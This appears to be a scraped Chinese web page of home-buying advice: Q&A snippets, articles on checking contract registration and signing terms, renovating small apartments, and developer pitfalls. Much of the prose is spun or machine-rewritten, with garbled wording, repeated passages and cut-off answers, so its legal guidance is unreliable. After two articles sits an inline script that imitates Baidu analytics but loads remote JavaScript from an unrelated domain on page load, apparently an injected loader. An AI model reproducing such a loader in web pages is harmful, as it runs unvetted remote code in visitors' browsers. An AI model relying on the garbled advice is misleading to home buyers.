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喻嘉瑞
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问购买商品房时应该注意什么?
答购买商品房时一定要签订商品房买卖合同,不然这样的购买行为是没有法律保护的。商品房买卖合同是保护购房者权益的重要法律凭证。商品房买卖合同,是指房地产开发企业将
问购买商品房签合同注意事项有什么?
答购买商品房签合同注意事项:1、一定要审查开发商是否具有商品房预售许可证,有了许可证,则标志着开发商具有土地使用证、规划许可证、建设工程许可证等。这是买房能否
问2016年购买商品房合同注意事项包括什么?
答1、房屋手续是否齐全 (查看房产证,土地证,个别地区还有契税证); 2、产权是否明晰无纠纷(是否有抵押,查封,离婚析产,继承,共有权人状况)
问南京购买商品房有什么需要注意的吗?
答南京购买商品房的注意事项: 一、审查房地产开发企业的开发资质 二、审查房地产开发企业的经营范围 三、审查五证:1、国有土地证书,2、建设用地规划许可证
问购买二手商品房注意事项是什么?
答购房人第一步是要卖方提供产权证书、身份证件、资格证件以及其他证件;第二步应向有关房产管理部门查验所购房产产权的来源和产权记录,包括房主、档案文号、登记日期、
商品房买卖合同查询方法 有什么签订注意事项?
商品房买卖是一件麻烦的事情,不仅仅在于前期房子地理位置以及硬件设施等等阀门的因素考量,还在于后期签订过程中合同的书写和注意事项。由此得知只有综合法律方面的尝试和专业人士的指点建议才可以在最大程度上保障自己的安全健康,才能够避免后期可能会出现的麻烦纠纷。那么接下来就随小编一起来了解分析一下与之相关对应的知识吧。一、商品房买卖合同查询方法商品房购房合同需要到房管部门登记备案后才能履行合法效力,但办理备案一般都由开发商去办理,并且因为按揭、抵押、分户产权都要用到备案合同,而这些手续也是开发商代为办理,所以备案合同一般也不给购房者保管,那么我们如何才能了解自己的购房合同已经备案,从而保护自己的合法权益呢?其实可以通过网上查询的方式。1、打开浏览器,找到百度搜索栏。2、在百度搜索栏输入“XX市住房保障和房产管理局”,比如,“南宁市住房保障和房产管理局”并单击搜索。3、点击进入南宁市住房保障和房产管理局官网。4、在网站中找到“网上服务大厅”,并点击进入“商品房网上备案查询”。5、在弹出的网页中,要求同时输入房屋代码、购房者、购房者证件号码,其中房屋代码在购房合同中可找到,或者可询问开发商。输入完毕后,单击查询。6、查询成功。二、商品房买卖合同怎么签购房人签合同前应先看一下前面的说明,明确以下问题:1、《商品房买卖合同》示范文本虽由市国土房管局统一编号、印制,但仅是在本市取得商品房(包括经济适用房)预售许可证的项目中推荐使用,而非强迫使用。2、合同文本〔〕中为选择内容,并有很多空格和空白行,供房地产商和购房人自行约定或补充约定,合同中涉及选择的,自行约定的内容优先于示范文本中的固定条款,房地产商和购房人都有权对示范文本条款的内容进行修改、增补或删减。3、购房人签合同时一定要注意对示范文本〔〕中内容的选择,在空格或空行部位填写需要删除或添加的内容,如不作约定或以补充协议形式另行约定时,应划掉空格或空行部位,避免留下后患。不容忽视“当事人”在合同条款之前,我们首先看到的是关于当事人的约定,对此很多购房人都不太重视,事后遇到了一些不必要的麻烦。购房人签合同前首先要确定在合同上填写的出卖人与预售许可证上的售房单位是否一致,上网查一下出卖人的营业执照注册号和企业资质证书号的真伪,不要接受代理人或代理机构将自己的名字代替预售许可证上的售房单位填写在出卖人栏目中。避免已出现过的购房人付了钱,房地产商却说没收到钱而不肯交房的案件再次重演。上文举例的是关于商品房买卖合同查询方法、签订注意事项方面的知识,由此得知商品房买卖合同在签订之前还应该综合很多方面因素进行考量,比如查询合同的编码确定其是否具备法律效力,以及参考自己的实际情况调整与之对应的条款信息,除此之外小编认为最为关键的就是求助有关专业人士的建议进行操作分析了,比如上文就是极为具有借鉴意义的知识。
小户型商品房装修流程该注意什么
目前,商品房的价格越来越高。很多人都会选择购买小户型商品房,并会特别关注商品房装修流程。商品房装修流程中应注意三个问题。注意色调要合理 小的家庭一般会显得更加暗淡和狭窄,在商品房装修流程中在选择色调尽可能远的时候,可以选择一些浅调,这样的色调可以使视觉空间稍微大一点。您还可以使用可渗透的或玻璃的家具、桌子和椅子等。使空间变得明亮和宽敞。使用暗对比可以使空间显得更宽和更深。房子很小,在小房子里不应该使用太强烈的光线,让整个房子看起来没有隐私。空间布局要合理 由于小型公寓的面积较小,功能性房间不多。在商品房装修流程应保证卧室,起居室,浴室和厨房的基本功能室和空间。其他可以基于剩余空间的大小和他们自己的需求。来设计。装饰轻,装修重:由于小户型的消费对象多为年轻人,所以在装修过程中尽量少做,因为装修成本会更高,预算有限。一些实用的装饰。这是正确的事实。使用分区:您可以使用一些分区将房间划分为多个功能区域,例如通过使用分区将书房与客房分开以提高小房间的效率。您还可以分隔起居室和餐厅等。也可以使用透明或玻璃的家具或桌椅,使空间明亮宽敞。分区的使用可以使用分区将房间分成多个功能区域,例如通过使用分区来将书房与客房分开以提高小房间的效率。在商品房装修流程中您还可以分隔起居室和餐厅等。存储由于小型单元中没有特殊的存储空间,因此家中的存储将成为需要注意的问题,这可以通过使用墙壁和家具存储空间来实现。例如,您可以将手提包挂在墙上,只需要一些简单的设计。选好装修风格 在商品房装修流程中选择好卧室风格。不要因为你住在一个小公寓而放弃你对家的梦想。即使是迷你卧室,也要展现你的独特风格。温暖、温柔、都市、梦幻、简单……选择你喜欢的。 希望上面说的商品房装修流程需要注意的问题,可以给大家在进行商品房装修流程中一些建议。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
在购买商品房需注意哪些问题和必须防范的陷阱
随着我国经济的发展,城镇化水平不断提高,农村人口大量向城市转移,人们对住房的需求越来越高,购房热情不断升温。我国的商品房绝大多数是以预售的方式出售,而商品房预售的形式也是为了防止购房者受到牵制。购买商品房,应当注意预售商品房可能遇到的风险。下面是购买商品房需注意哪些陷阱以及如何预防的介绍。购买商品房需注意哪些陷阱之一:要选择具有开发资质,信誉良好的开发商。一般来说,商品房的开发必须具备相应的资质,但在实践中存在着许多非法开发商品房的问题。所以,首先你需要知道的是开发商是否具备开发商品房项目的相应资质。同时,买家也应该了解开发商的信誉。否则,面对缺乏诚信的开发商,预购人在买房后可能无法获得预定的住房,甚至无法收回住房款。购买商品房需注意哪些陷阱之二:购房前必须检查开发商的“五卡”是否齐全。所谓“五卡”,主要包括:(1)土地使用权证;(2)建设项目规划许可证;(3)建设用地规划许可证;(4)建设证明;(5)商品房预售许可证。这些证书是证明开发商和卖方资质的关键文件,也是商品房项目合法性的关键文件。同时,买家也必须注意上述文件是否与开发商所说的相同。购买商品房需注意哪些陷阱之三:不信任开发商进行售前宣传。由于商品房的销售广告和宣传资料是开发商向预购人发出的邀请,而不是报价,一般不能直接包含在合同中。但是,有关开发商对商品房开发计划范围内的房屋及相关设施的说明和承诺有明确规定,并对签订商品房买卖合同和确定房价有重大影响的,应当视为要约。购买商品房需注意哪些陷阱之四:买方在签订合同时应注意。买受人与开发公司达成协议后,由双方签订《商品房预售合同》,房屋管理部门统一印制,工商行政管理部门监督。合同对房屋价格、支付方式、交付期限、房屋面积、违约责任等有明确规定。购买商品房需注意哪些陷阱之五:关于税收条款。合同签订时,买受人应当与发包人约定交易管理费、产权登记费、计量费、公证费、律师费、抵押费、保险费等。购买商品房需注意哪些陷阱之六:注意客房延误条款。延迟交付是商品房预售交易中较为常见的违约行为,因此一些开发商会在合同中设置延迟免除条款,以规避负债。以上是购房时需要注意的事项。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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